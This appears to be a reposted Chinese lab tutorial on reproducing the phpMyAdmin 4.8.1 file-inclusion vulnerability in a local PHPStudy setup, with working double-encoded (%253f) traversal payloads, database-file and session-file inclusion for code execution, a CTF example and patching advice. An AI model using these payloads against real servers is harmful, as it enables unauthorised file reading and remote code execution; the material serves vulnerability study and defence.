当前位置: 首页 > news >正文

用PHPStudy在Windows上复现phpMyAdmin 4.8.1文件包含漏洞(附详细配置与双倍编码绕过技巧)

Windows环境下PHPStudy搭建phpMyAdmin 4.8.1漏洞靶场实战指南

在安全研究领域,漏洞复现是理解漏洞原理和提升实战能力的重要途径。phpMyAdmin作为广泛使用的MySQL管理工具,其历史版本中的文件包含漏洞(CVE-2018-12613)因其典型性和教育意义,成为许多安全爱好者入门Web安全的首选实验案例。本文将手把手指导您在Windows环境下使用PHPStudy快速搭建漏洞环境,并深入剖析漏洞利用的核心技术。

1. 实验环境搭建与避坑指南

1.1 PHPStudy与phpMyAdmin 4.8.1安装

PHPStudy作为Windows平台最便捷的PHP集成环境,极大简化了环境配置流程。以下是具体安装步骤:

  1. 下载组件

    • 从官网获取PHPStudy最新版(推荐v8.1)
    • 下载phpMyAdmin 4.8.1版本压缩包
  2. 部署环境

    # 解压phpMyAdmin到PHPStudy的WWW目录 C:\phpStudy\WWW\phpMyAdmin-4.8.1\
  3. 版本匹配建议

    组件推荐版本兼容性说明
    PHP5.6-7.0避免使用PHP7.2+
    MySQL5.5-5.7确保与phpMyAdmin兼容

注意:若安装后访问出现空白页,需检查PHP错误日志,常见问题是缺少mbstring扩展,在PHPStudy面板中启用即可。

1.2 关键配置项修正

首次登录phpMyAdmin时,会遇到$cfg['blowfish_secret']配置错误提示。这是安全机制的一部分,需要手动修正:

  1. 打开配置文件:

    C:\phpStudy\WWW\phpMyAdmin-4.8.1\libraries\config.default.php
  2. 修改以下参数:

    $cfg['blowfish_secret'] = '此处填入32位以上随机字符串'; // 示例:'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0'
  3. Session目录权限

    • 确保phpStudy\Extensions\tmp\tmp目录有写入权限
    • 在php.ini中检查session.save_path配置项

2. 漏洞原理深度解析

2.1 漏洞触发条件分析

该文件包含漏洞存在于index.php对target参数的处理流程中,核心验证逻辑如下:

// index.php关键代码片段 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; }

绕过检查需要同时满足五个条件,其中最关键的是checkPageValidity()函数的验证。该函数存在三重验证机制:

  1. 白名单直接匹配

    $whitelist = array('db_datadict.php', 'sql.php', ...); if (in_array($page, $whitelist)) return true;
  2. 单次URL解码验证

    $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $whitelist)) return true;
  3. 双重URL解码验证

    $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $whitelist)) return true;

2.2 双编码绕过技术详解

漏洞利用的关键在于构造特殊的%253f编码:

  1. 编码过程分解

    • 原始字符:?
    • 第一次编码:%3f(服务器自动解码)
    • 第二次编码:%253f(urldecode函数解码)
  2. 验证流程时序

    请求URL: target=db_datadict.php%253f/../../../../etc/passwd → 服务器自动解码:db_datadict.php%3f/../../../../etc/passwd → urldecode函数解码:db_datadict.php?/../../../../etc/passwd → 白名单验证通过(db_datadict.php在白名单中) → 最终包含路径:db_datadict.php?/../../../../etc/passwd

3. 漏洞复现实战操作

3.1 本地文件包含验证

  1. 准备测试文件

    • 在D盘创建测试文件:D:\test\vuln_test.txt
    • 文件内容可包含特殊标记如<<<TEST_FILE>>>
  2. 构造Payload

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../D:/test/vuln_test.txt
  3. 结果验证

    • 成功包含时,页面会显示测试文件内容
    • 若失败,检查路径深度(可能需要调整../数量)

3.2 数据库文件包含实现代码执行

  1. 创建测试数据库

    CREATE DATABASE test_vuln; USE test_vuln; CREATE TABLE exploit (code TEXT); INSERT INTO exploit VALUES ('<?php phpinfo(); ?>');
  2. 定位数据库文件

    • MySQL数据文件通常位于:
      C:\phpStudy\Extensions\MySQL5.7.26\data\test_vuln\exploit.MYD
  3. 执行Payload

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test_vuln/exploit.MYD

提示:实际环境中,数据库文件可能因存储引擎不同而扩展名各异,InnoDB引擎需查找.ibd文件。

3.3 Session文件包含技巧

  1. 生成Session文件

    • 在phpMyAdmin执行:
      SELECT "<?php system('whoami'); ?>";
  2. 查找Session路径

    • 默认路径:
      C:\phpStudy\Extensions\tmp\tmp\sess_[session_id]
    • 可通过phpinfo()查看session.save_path确认
  3. 包含Session文件

    http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_abc123def456

4. 高级利用与防护建议

4.1 CTF实战应用案例

以HCTF 2018 Warmup题目为例,漏洞利用流程:

  1. 发现源码提示:

    <!--source.php-->
  2. 审计源码发现文件包含:

    $file = $_GET['file']; include $file;
  3. 构造双编码Payload:

    /source.php?file=source.php%253f/../../../../../ffffllllaaaagggg

4.2 漏洞修复方案

对于仍在使用旧版本phpMyAdmin的环境,建议采取以下防护措施:

  1. 升级方案

    • 立即升级到phpMyAdmin 4.8.3及以上版本
  2. 临时加固

    // 在config.inc.php中添加 $cfg['AllowArbitraryServer'] = false; $cfg['ServerDefault'] = 0;
  3. 服务器配置

    • 设置open_basedir限制目录访问
    • 禁用allow_url_include

在实验结束后,建议立即关闭PHPStudy服务或删除漏洞环境,避免留下安全隐患。对于安全研究者,可将此环境打包为虚拟机镜像,方便后续研究使用。

http://www.cnnetsun.cn/news/2744779.html

相关文章:

  • 如何将DeBERTa-v2-xlarge集成到你的AI产品中:企业级应用案例分享
  • Vicuna-7B vs Llama 2:终极性能对比与核心差异深度解析
  • Gemma 4-31B安全与伦理:负责任AI使用的最佳实践指南
  • 深入解析TeleChat2.5-35B架构设计:350亿参数的智能实现
  • 生产环境部署Qwen3-4B-Instruct-2507:vLLM与SGLang性能对比及优化策略
  • Gemma-4 E4B模型架构深度解析:从Sliding Attention到混合专家系统的完整指南
  • 10分钟上手Vim Vixen:从安装到基本操作的完整入门指南
  • Excel动态进度条翻车实录:我踩过的3个坑(附正确配置流程)
  • AI专著写作指南:巧用AI工具,20万字专著轻松一挥而就!
  • BilibiliHistoryFetcher:一站式B站历史记录智能分析平台
  • Gemini Pro实战指南:多模态AI如何成为职场人的日常协作者
  • Windows系统优化终极实战指南:Chris Titus Tech WinUtil工具完整教程
  • PDF补丁丁完整指南:如何免费高效处理PDF文档的终极教程
  • 整理销售录音总结太慢不会梳理?该如何找准对应使用场景?
  • 【Flutter】Dart 单例 ( 单例模式核心规则 | 饿汉式单例 | 懒汉式单例 | 极简空安全 懒汉式单例 | 工厂构造函数单例 )
  • 从零到一:用VGGT在几秒内重建你的三维世界
  • 3个步骤让您的Windows电脑飞起来:AtlasOS系统优化实战指南 [特殊字符]
  • 15分钟打造极致流畅的Windows系统:AtlasOS开源优化工具完全指南
  • 医用超声图像后处理:斑点噪声抑制算法详解
  • DeepSeek-R1-Distill-Qwen-1.5B-FP16与MindSpore深度集成指南:高效推理的终极解决方案
  • 清理C盘go,与java的文件
  • MediaCreationTool.bat:终极Windows 11安装解决方案,轻松绕过硬件限制
  • Qwen3.6-Plus实测:生产级大模型的稳定性与成本优化
  • PostgreSQL 技术日报 (4月13日)|内核讨论聚焦锁机制与性能优化
  • PostgreSQL 技术日报 (4月15日)|PGConf.De 2026 德国大会即将开幕
  • 从 Volatile 到 ThreadLocal:Java 线程安全机制备忘
  • HFSS仿真效率翻倍:巧用Floquet端口分析天线阵列,一个单元搞定整个周期结构
  • HFSS新手避坑指南:波端口和集总端口到底怎么选?手把手教你设置(附尺寸估算技巧)
  • AI工具链断裂导致虚拟主播“失语”?一文讲透RAG+TTS+VAD+ASR四层协同架构(含可运行Docker Compose配置)
  • 深度学习中过拟合的统一机制与DOM框架解析